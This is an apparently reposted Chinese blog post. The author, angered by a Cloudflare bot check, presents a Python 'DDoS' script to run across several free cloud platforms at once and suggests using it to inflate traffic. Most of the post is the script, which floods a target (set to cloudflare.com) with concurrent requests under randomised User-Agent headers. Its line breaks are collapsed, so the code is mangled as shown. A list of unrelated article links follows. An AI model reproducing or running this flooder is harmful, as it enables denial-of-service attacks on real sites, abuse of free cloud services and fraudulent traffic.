当前位置: 首页 > news >正文

ddos 放在多个云主机,同时运行

1. 起因, 目的:

我打开 grok, 被 cloudflare 拦截,问我是不是机器人。

这个情况,如果是别的小网站也就算了,很正常。
大公司也搞这种东西,要么是偷懒,要么是太小气了。
一气之下,我决定写个 ddos, 找几个免费的云端平台,一起运行。

  • 3个平台: colab, kaggle, codespaces

  • 我觉得这个方法,用来刷流量,应该也是可行的。

2. 先看效果

请添加图片描述

ddos
# Filename: concurrent_requests.py
import requests
import time
import random
from concurrent.futures import ThreadPoolExecutor
from threading import Lock
from uuid import uuid4# Global counters for tracking success/failure
success_count = 0
failure_count = 0
lock = Lock()# 修改这里!
target = "https://www.cloudflare.com/"   # 目标num_requests = 1000
max_workers =10def send_request(url, timeout=5):global success_count, failure_countheaders = {'User-Agent': f'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{random.randint(90, 120)}.0.0.0 Safari/537.36'}t = str(uuid4())try:response = requests.get(url, headers=headers, timeout=timeout)response.raise_for_status()with lock:success_count += 1return f"Request succeeded, status code: {response.status_code}" + "_" + texcept Exception as e:with lock:failure_count += 1return f"Request failed: {str(e)}"  + "_" + tdef run_concurrent_requests(url, num_requests=50, max_workers=10):print(f"Starting {num_requests} requests with max {max_workers} concurrent threads")start_time = time.time()with ThreadPoolExecutor(max_workers=max_workers) as executor:# Submit all request tasksfutures = [executor.submit(send_request, url) for _ in range(num_requests)]# Collect resultsfor future in futures:print(future.result())end_time = time.time()print(f"\nTest completed! Total time: {end_time - start_time:.2f} seconds")print(f"Successful requests: {success_count}, Failed requests: {failure_count}")if __name__ == '__main__':run_concurrent_requests(target, num_requests, max_workers)

希望对大家有帮助。

http://www.dtcms.com/a/297000.html

相关文章:

  • 计算机网络知识点总结 (1)
  • Web前端:JavaScript indexOf()方法
  • 腾势N9再进化:智能加buff,豪华更对味
  • 无线通信资源分配相关算法
  • ESP32-S3学习笔记<6>:ADC的应用
  • AI助力 三步实现电子发票发票号码的提取
  • 小架构step系列24:功能模块
  • 【ResizeObserver】【页面布局】监听一个 div 元素的动态高度变化并同步设置另一个元素的高度
  • Windows环境下 Go项目迁移至Ubuntu(WSL) 以部署filebeat为例
  • 【数组的定义与使用】
  • 保障工业核心命脉:深度解读工业交换机QoS的“智能流量治理”之道
  • CMake ARGV变量使用指南
  • Python桌面版数独(五版)-优化选择模式触发新棋盘生成
  • OSPF 实验
  • RuoYi-Vue 项目 Docker 全流程部署实战教程
  • 中国、美国、欧盟、日本、英国临床试验API数据接口
  • Ⅹ—6.计算机二级综合题7---10套
  • Mac系统机能连接操控别的平台设备吗?能被远程操作吗?
  • Nginx快速入门及案例
  • 【安卓笔记】解决livedata粘性事件
  • 《Java语言程序设计》第2章复习题(2)
  • RePlugin 坑位使用原理与指南
  • 多源信息融合智能投资【“图神经网络+强化学习“的融合架构】【低配显卡正常运行】
  • 模拟退火算法 (Simulated Annealing, SA)简介
  • JavaWeb学习打卡14(JSP内置对象及作用域)
  • ARM汇编常见伪指令及其用法示例
  • IntelliJ IDEA中管理多版本Git子模块的完整指南
  • 智慧工厂网络升级:新型 SD-WAN 技术架构与应用解析
  • 商场导航软件:3D+AI 基于Deepseek 模型的意图识别技术解析
  • BacNet 是什么?跟 LoRaWAN 的关系是什么?